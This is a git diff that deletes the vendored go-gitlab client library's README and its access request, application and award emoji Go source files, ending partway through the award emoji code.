a/vendor/github.com/xanzy/go-gitlab/README.md b/vendor/github.com/xanzy/go-gitlab/README.md deleted file mode 100644 index ead2361fe3..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/README.md +++ /dev/null @@ -1,191 +0,0 @@ -# go-gitlab - -A GitLab API client enabling Go programs to interact with GitLab in a simple and uniform way - -[![Build Status](https://travis-ci.org/xanzy/go-gitlab.svg?branch=master)](https://travis-ci.org/xanzy/go-gitlab) -[![GitHub license](https://img.shields.io/github/license/xanzy/go-gitlab.svg)](https://github.com/xanzy/go-gitlab/blob/master/LICENSE) -[![Sourcegraph](https://sourcegraph.com/github.com/xanzy/go-gitlab/-/badge.svg)](https://sourcegraph.com/github.com/xanzy/go-gitlab?badge) -[![GoDoc](https://godoc.org/github.com/xanzy/go-gitlab?status.svg)](https://godoc.org/github.com/xanzy/go-gitlab) -[![Go Report Card](https://goreportcard.com/badge/github.com/xanzy/go-gitlab)](https://goreportcard.com/report/github.com/xanzy/go-gitlab) -[![GitHub issues](https://img.shields.io/github/issues/xanzy/go-gitlab.svg)](https://github.com/xanzy/go-gitlab/issues) - -## NOTE - -Release v0.6.0 (released on 25-08-2017) no longer supports the older V3 Gitlab API. If -you need V3 support, please use the `f-api-v3` branch. This release contains some backwards -incompatible changes that were needed to fully support the V4 Gitlab API. - -## Coverage - -This API client package covers most of the existing Gitlab API calls and is updated regularly -to add new and/or missing endpoints. Currently the following services are supported: - -- [x] Applications -- [x] Award Emojis -- [x] Branches -- [x] Broadcast Messages -- [x] Commits -- [x] Container Registry -- [x] Custom Attributes -- [x] Deploy Keys -- [x] Deployments -- [ ] Discussions (threaded comments) -- [x] Environments -- [ ] Epic Issues -- [ ] Epics -- [x] Events -- [x] Feature Flags -- [ ] Geo Nodes -- [x] GitLab CI Config Templates -- [x] Gitignores Templates -- [x] Group Access Requests -- [x] Group Issue Boards -- [x] Group Members -- [x] Group Milestones -- [x] Group-Level Variables -- [x] Groups -- [x] Instance Clusters -- [x] Issue Boards -- [x] Issues -- [x] Jobs -- [x] Keys -- [x] Labels -- [x] License -- [x] Merge Request Approvals -- [x] Merge Requests -- [x] Namespaces -- [x] Notes (comments) -- [x] Notification Settings -- [x] Open Source License Templates -- [x] Pages Domains -- [x] Pipeline Schedules -- [x] Pipeline Triggers -- [x] Pipelines -- [x] Project Access Requests -- [x] Project Badges -- [x] Project Clusters -- [x] Project Import/export -- [x] Project Members -- [x] Project Milestones -- [x] Project Snippets -- [x] Project-Level Variables -- [x] Projects (including setting Webhooks) -- [x] Protected Branches -- [x] Protected Tags -- [x] Repositories -- [x] Repository Files -- [x] Runners -- [x] Search -- [x] Services -- [x] Settings -- [x] Sidekiq Metrics -- [x] System Hooks -- [x] Tags -- [x] Todos -- [x] Users -- [x] Validate CI Configuration -- [x] Version -- [x] Wikis - -## Usage - -```go -import "github.com/xanzy/go-gitlab" -``` - -Construct a new GitLab client, then use the various services on the client to -access different parts of the GitLab API. For example, to list all -users: - -```go -git, err := gitlab.NewClient("yourtokengoeshere") -if err != nil { - log.Fatalf("Failed to create client: %v", err) -} -users, _, err := git.Users.ListUsers(&gitlab.ListUsersOptions{}) -``` - -There are a few `With...` option functions that can be used to customize -the API client. For example, to set a custom base URL: - -```go -git, err := gitlab.NewClient("yourtokengoeshere", WithBaseURL("https://git.mydomain.com/api/v4")) -if err != nil { - log.Fatalf("Failed to create client: %v", err) -} -users, _, err := git.Users.ListUsers(&gitlab.ListUsersOptions{}) -``` - -Some API methods have optional parameters that can be passed. For example, -to list all projects for user "svanharmelen": - -```go -git := gitlab.NewClient("yourtokengoeshere") -opt := &ListProjectsOptions{Search: gitlab.String("svanharmelen")} -projects, _, err := git.Projects.ListProjects(opt) -``` - -### Examples - -The [examples](https://github.com/xanzy/go-gitlab/tree/master/examples) directory -contains a couple for clear examples, of which one is partially listed here as well: - -```go -package main - -import ( - "log" - - "github.com/xanzy/go-gitlab" -) - -func main() { - git, err := gitlab.NewClient("yourtokengoeshere") - if err != nil { - log.Fatalf("Failed to create client: %v", err) - } - - // Create new project - p := &gitlab.CreateProjectOptions{ - Name: gitlab.String("My Project"), - Description: gitlab.String("Just a test project to play with"), - MergeRequestsEnabled: gitlab.Bool(true), - SnippetsEnabled: gitlab.Bool(true), - Visibility: gitlab.Visibility(gitlab.PublicVisibility), - } - project, _, err := git.Projects.CreateProject(p) - if err != nil { - log.Fatal(err) - } - - // Add a new snippet - s := &gitlab.CreateProjectSnippetOptions{ - Title: gitlab.String("Dummy Snippet"), - FileName: gitlab.String("snippet.go"), - Content: gitlab.String("package main...."), - Visibility: gitlab.Visibility(gitlab.PublicVisibility), - } - _, _, err = git.ProjectSnippets.CreateSnippet(project.ID, s) - if err != nil { - log.Fatal(err) - } -} -``` - -For complete usage of go-gitlab, see the full [package docs](https://godoc.org/github.com/xanzy/go-gitlab). - -## ToDo - -- The biggest thing this package still needs is tests :disappointed: - -## Issues - -- If you have an issue: report it on the [issue tracker](https://github.com/xanzy/go-gitlab/issues) - -## Author - -Sander van Harmelen () - -## License - -Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at diff --git a/vendor/github.com/xanzy/go-gitlab/access_requests.go b/vendor/github.com/xanzy/go-gitlab/access_requests.go deleted file mode 100644 index fa00d75db4..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/access_requests.go +++ /dev/null @@ -1,236 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// AccessRequest represents a access request for a group or project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html -type AccessRequest struct { - ID int `json:"id"` - Username string `json:"username"` - Name string `json:"name"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - RequestedAt *time.Time `json:"requested_at"` - AccessLevel AccessLevelValue `json:"access_level"` -} - -// AccessRequestsService handles communication with the project/group -// access requests related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/access_requests.html -type AccessRequestsService struct { - client *Client -} - -// ListAccessRequestsOptions represents the available -// ListProjectAccessRequests() or ListGroupAccessRequests() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#list-access-requests-for-a-group-or-project -type ListAccessRequestsOptions ListOptions - -// ListProjectAccessRequests gets a list of access requests -// viewable by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#list-access-requests-for-a-group-or-project -func (s *AccessRequestsService) ListProjectAccessRequests(pid interface{}, opt *ListAccessRequestsOptions, options ...RequestOptionFunc) ([]*AccessRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/access_requests", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ars []*AccessRequest - resp, err := s.client.Do(req, &ars) - if err != nil { - return nil, resp, err - } - - return ars, resp, err -} - -// ListGroupAccessRequests gets a list of access requests -// viewable by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#list-access-requests-for-a-group-or-project -func (s *AccessRequestsService) ListGroupAccessRequests(gid interface{}, opt *ListAccessRequestsOptions, options ...RequestOptionFunc) ([]*AccessRequest, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/access_requests", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ars []*AccessRequest - resp, err := s.client.Do(req, &ars) - if err != nil { - return nil, resp, err - } - - return ars, resp, err -} - -// RequestProjectAccess requests access for the authenticated user -// to a group or project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#request-access-to-a-group-or-project -func (s *AccessRequestsService) RequestProjectAccess(pid interface{}, options ...RequestOptionFunc) (*AccessRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/access_requests", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - ar := new(AccessRequest) - resp, err := s.client.Do(req, ar) - if err != nil { - return nil, resp, err - } - - return ar, resp, err -} - -// RequestGroupAccess requests access for the authenticated user -// to a group or project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#request-access-to-a-group-or-project -func (s *AccessRequestsService) RequestGroupAccess(gid interface{}, options ...RequestOptionFunc) (*AccessRequest, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/access_requests", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - ar := new(AccessRequest) - resp, err := s.client.Do(req, ar) - if err != nil { - return nil, resp, err - } - - return ar, resp, err -} - -// ApproveAccessRequestOptions represents the available -// ApproveProjectAccessRequest() and ApproveGroupAccessRequest() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#approve-an-access-request -type ApproveAccessRequestOptions struct { - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` -} - -// ApproveProjectAccessRequest approves an access request for the given user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#approve-an-access-request -func (s *AccessRequestsService) ApproveProjectAccessRequest(pid interface{}, user int, opt *ApproveAccessRequestOptions, options ...RequestOptionFunc) (*AccessRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/access_requests/%d/approve", pathEscape(project), user) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ar := new(AccessRequest) - resp, err := s.client.Do(req, ar) - if err != nil { - return nil, resp, err - } - - return ar, resp, err -} - -// ApproveGroupAccessRequest approves an access request for the given user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#approve-an-access-request -func (s *AccessRequestsService) ApproveGroupAccessRequest(gid interface{}, user int, opt *ApproveAccessRequestOptions, options ...RequestOptionFunc) (*AccessRequest, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/access_requests/%d/approve", pathEscape(group), user) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ar := new(AccessRequest) - resp, err := s.client.Do(req, ar) - if err != nil { - return nil, resp, err - } - - return ar, resp, err -} - -// DenyProjectAccessRequest denies an access request for the given user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#deny-an-access-request -func (s *AccessRequestsService) DenyProjectAccessRequest(pid interface{}, user int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/access_requests/%d", pathEscape(project), user) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DenyGroupAccessRequest denies an access request for the given user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/access_requests.html#deny-an-access-request -func (s *AccessRequestsService) DenyGroupAccessRequest(gid interface{}, user int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/access_requests/%d", pathEscape(group), user) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/applications.go b/vendor/github.com/xanzy/go-gitlab/applications.go deleted file mode 100644 index 1436ed011c..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/applications.go +++ /dev/null @@ -1,100 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import "fmt" - -// ApplicationsService handles communication with administrables applications -// of the Gitlab API. -// -// Gitlab API docs : https://docs.gitlab.com/ee/api/applications.html -type ApplicationsService struct { - client *Client -} - -type Application struct { - ID int `json:"id"` - ApplicationID string `json:"application_id"` - ApplicationName string `json:"application_name"` - Secret string `json:"secret"` - CallbackURL string `json:"callback_url"` - Confidential bool `json:"confidential"` -} - -// CreateApplicationOptions represents the available CreateApplication() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/applications.html#create-an-application -type CreateApplicationOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - RedirectURI *string `url:"redirect_uri,omitempty" json:"redirect_uri,omitempty"` - Scopes *string `url:"scopes,omitempty" json:"scopes,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// CreateApplication creates a new application owned by the authenticated user. -// -// Gitlab API docs : https://docs.gitlab.com/ce/api/applications.html#create-an-application -func (s *ApplicationsService) CreateApplication(opt *CreateApplicationOptions, options ...RequestOptionFunc) (*Application, *Response, error) { - req, err := s.client.NewRequest("POST", "applications", opt, options) - if err != nil { - return nil, nil, err - } - - a := new(Application) - resp, err := s.client.Do(req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -type ListApplicationsOptions ListOptions - -// ListApplications get a list of administrables applications by the authenticated user -// -// Gitlab API docs : https://docs.gitlab.com/ce/api/applications.html#list-all-applications -func (s *ApplicationsService) ListApplications(opt *ListApplicationsOptions, options ...RequestOptionFunc) ([]*Application, *Response, error) { - req, err := s.client.NewRequest("GET", "applications", opt, options) - if err != nil { - return nil, nil, err - } - - var as []*Application - resp, err := s.client.Do(req, &as) - if err != nil { - return nil, resp, err - } - - return as, resp, err -} - -// DeleteApplication removes a specific application. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/applications.html#delete-an-application -func (s *ApplicationsService) DeleteApplication(application int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("applications/%d", application) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/award_emojis.go b/vendor/github.com/xanzy/go-gitlab/award_emojis.go deleted file mode 100644 index d365472767..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/award_emojis.go +++ /dev/null @@ -1,467 +0,0 @@ -// -// Copyright 2017, Arkbriar -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// AwardEmojiService handles communication with the emoji awards related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/award_emoji.html -type AwardEmojiService struct { - client *Client -} - -// AwardEmoji represents a GitLab Award Emoji. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/award_emoji.html -type AwardEmoji struct { - ID int `json:"id"` - Name string `json:"name"` - User struct { - Name string `json:"name"` - Username string `json:"username"` - ID int `json:"id"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"user"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - AwardableID int `json:"awardable_id"` - AwardableType string `json:"awardable_type"` -} - -const ( - awardMergeRequest = "merge_requests" - awardIssue = "issues" - awardSnippets = "snippets" -) - -// ListAwardEmojiOptions represents the available options for listing emoji -// for each resources -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html -type ListAwardEmojiOptions ListOptions - -// ListMergeRequestAwardEmoji gets a list of all award emoji on the merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) ListMergeRequestAwardEmoji(pid interface{}, mergeRequestIID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmoji(pid, awardMergeRequest, mergeRequestIID, opt, options...) -} - -// ListIssueAwardEmoji gets a list of all award emoji on the issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) ListIssueAwardEmoji(pid interface{}, issueIID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmoji(pid, awardIssue, issueIID, opt, options...) -} - -// ListSnippetAwardEmoji gets a list of all award emoji on the snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) ListSnippetAwardEmoji(pid interface{}, snippetID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmoji(pid, awardSnippets, snippetID, opt, options...) -} - -func (s *AwardEmojiService) listAwardEmoji(pid interface{}, resource string, resourceID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/award_emoji", - pathEscape(project), - resource, - resourceID, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var as []*AwardEmoji - resp, err := s.client.Do(req, &as) - if err != nil { - return nil, resp, err - } - - return as, resp, err -} - -// GetMergeRequestAwardEmoji get an award emoji from merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) GetMergeRequestAwardEmoji(pid interface{}, mergeRequestIID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getAwardEmoji(pid, awardMergeRequest, mergeRequestIID, awardID, options...) -} - -// GetIssueAwardEmoji get an award emoji from issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) GetIssueAwardEmoji(pid interface{}, issueIID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getAwardEmoji(pid, awardIssue, issueIID, awardID, options...) -} - -// GetSnippetAwardEmoji get an award emoji from snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#list-an-awardable-39-s-award-emoji -func (s *AwardEmojiService) GetSnippetAwardEmoji(pid interface{}, snippetID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getAwardEmoji(pid, awardSnippets, snippetID, awardID, options...) -} - -func (s *AwardEmojiService) getAwardEmoji(pid interface{}, resource string, resourceID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/award_emoji/%d", - pathEscape(project), - resource, - resourceID, - awardID, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - a := new(AwardEmoji) - resp, err := s.client.Do(req, &a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// CreateAwardEmojiOptions represents the available options for awarding emoji -// for a resource -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji -type CreateAwardEmojiOptions struct { - Name string `json:"name"` -} - -// CreateMergeRequestAwardEmoji get an award emoji from merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji -func (s *AwardEmojiService) CreateMergeRequestAwardEmoji(pid interface{}, mergeRequestIID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmoji(pid, awardMergeRequest, mergeRequestIID, opt, options...) -} - -// CreateIssueAwardEmoji get an award emoji from issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji -func (s *AwardEmojiService) CreateIssueAwardEmoji(pid interface{}, issueIID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmoji(pid, awardIssue, issueIID, opt, options...) -} - -// CreateSnippetAwardEmoji get an award emoji from snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji -func (s *AwardEmojiService) CreateSnippetAwardEmoji(pid interface{}, snippetID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmoji(pid, awardSnippets, snippetID, opt, options...) -} - -func (s *AwardEmojiService) createAwardEmoji(pid interface{}, resource string, resourceID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/award_emoji", - pathEscape(project), - resource, - resourceID, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - a := new(AwardEmoji) - resp, err := s.client.Do(req, &a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// DeleteIssueAwardEmoji delete award emoji on an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji-on-a-note -func (s *AwardEmojiService) DeleteIssueAwardEmoji(pid interface{}, issueIID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmoji(pid, awardMergeRequest, issueIID, awardID, options...) -} - -// DeleteMergeRequestAwardEmoji delete award emoji on a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji-on-a-note -func (s *AwardEmojiService) DeleteMergeRequestAwardEmoji(pid interface{}, mergeRequestIID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmoji(pid, awardMergeRequest, mergeRequestIID, awardID, options...) -} - -// DeleteSnippetAwardEmoji delete award emoji on a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji-on-a-note -func (s *AwardEmojiService) DeleteSnippetAwardEmoji(pid interface{}, snippetID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmoji(pid, awardMergeRequest, snippetID, awardID, options...) -} - -// DeleteAwardEmoji Delete an award emoji on the specified resource. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#delete-an-award-emoji -func (s *AwardEmojiService) deleteAwardEmoji(pid interface{}, resource string, resourceID, awardID int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/award_emoji/%d", pathEscape(project), resource, - resourceID, awardID) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - return s.client.Do(req, nil) -} - -// ListIssuesAwardEmojiOnNote gets a list of all award emoji on a note from the -// issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) ListIssuesAwardEmojiOnNote(pid interface{}, issueID, noteID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmojiOnNote(pid, awardIssue, issueID, noteID, opt, options...) -} - -// ListMergeRequestAwardEmojiOnNote gets a list of all award emoji on a note -// from the merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) ListMergeRequestAwardEmojiOnNote(pid interface{}, mergeRequestIID, noteID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmojiOnNote(pid, awardMergeRequest, mergeRequestIID, noteID, opt, options...) -} - -// ListSnippetAwardEmojiOnNote gets a list of all award emoji on a note from the -// snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) ListSnippetAwardEmojiOnNote(pid interface{}, snippetIID, noteID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - return s.listAwardEmojiOnNote(pid, awardSnippets, snippetIID, noteID, opt, options...) -} - -func (s *AwardEmojiService) listAwardEmojiOnNote(pid interface{}, resources string, ressourceID, noteID int, opt *ListAwardEmojiOptions, options ...RequestOptionFunc) ([]*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/notes/%d/award_emoji", pathEscape(project), resources, - ressourceID, noteID) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var as []*AwardEmoji - resp, err := s.client.Do(req, &as) - if err != nil { - return nil, resp, err - } - - return as, resp, err -} - -// GetIssuesAwardEmojiOnNote gets an award emoji on a note from an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) GetIssuesAwardEmojiOnNote(pid interface{}, issueID, noteID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getSingleNoteAwardEmoji(pid, awardIssue, issueID, noteID, awardID, options...) -} - -// GetMergeRequestAwardEmojiOnNote gets an award emoji on a note from a -// merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) GetMergeRequestAwardEmojiOnNote(pid interface{}, mergeRequestIID, noteID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getSingleNoteAwardEmoji(pid, awardMergeRequest, mergeRequestIID, noteID, awardID, - options...) -} - -// GetSnippetAwardEmojiOnNote gets an award emoji on a note from a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) GetSnippetAwardEmojiOnNote(pid interface{}, snippetIID, noteID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.getSingleNoteAwardEmoji(pid, awardSnippets, snippetIID, noteID, awardID, options...) -} - -func (s *AwardEmojiService) getSingleNoteAwardEmoji(pid interface{}, ressource string, resourceID, noteID, awardID int, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/notes/%d/award_emoji/%d", - pathEscape(project), - ressource, - resourceID, - noteID, - awardID, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - a := new(AwardEmoji) - resp, err := s.client.Do(req, &a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// CreateIssuesAwardEmojiOnNote gets an award emoji on a note from an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) CreateIssuesAwardEmojiOnNote(pid interface{}, issueID, noteID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmojiOnNote(pid, awardIssue, issueID, noteID, opt, options...) -} - -// CreateMergeRequestAwardEmojiOnNote gets an award emoji on a note from a -// merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) CreateMergeRequestAwardEmojiOnNote(pid interface{}, mergeRequestIID, noteID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmojiOnNote(pid, awardMergeRequest, mergeRequestIID, noteID, opt, options...) -} - -// CreateSnippetAwardEmojiOnNote gets an award emoji on a note from a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) CreateSnippetAwardEmojiOnNote(pid interface{}, snippetIID, noteID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - return s.createAwardEmojiOnNote(pid, awardSnippets, snippetIID, noteID, opt, options...) -} - -// CreateAwardEmojiOnNote award emoji on a note. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-a-new-emoji-on-a-note -func (s *AwardEmojiService) createAwardEmojiOnNote(pid interface{}, resource string, resourceID, noteID int, opt *CreateAwardEmojiOptions, options ...RequestOptionFunc) (*AwardEmoji, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/notes/%d/award_emoji", - pathEscape(project), - resource, - resourceID, - noteID, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - a := new(AwardEmoji) - resp, err := s.client.Do(req, &a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// DeleteIssuesAwardEmojiOnNote deletes an award emoji on a note from an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) DeleteIssuesAwardEmojiOnNote(pid interface{}, issueID, noteID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmojiOnNote(pid, awardIssue, issueID, noteID, awardID, options...) -} - -// 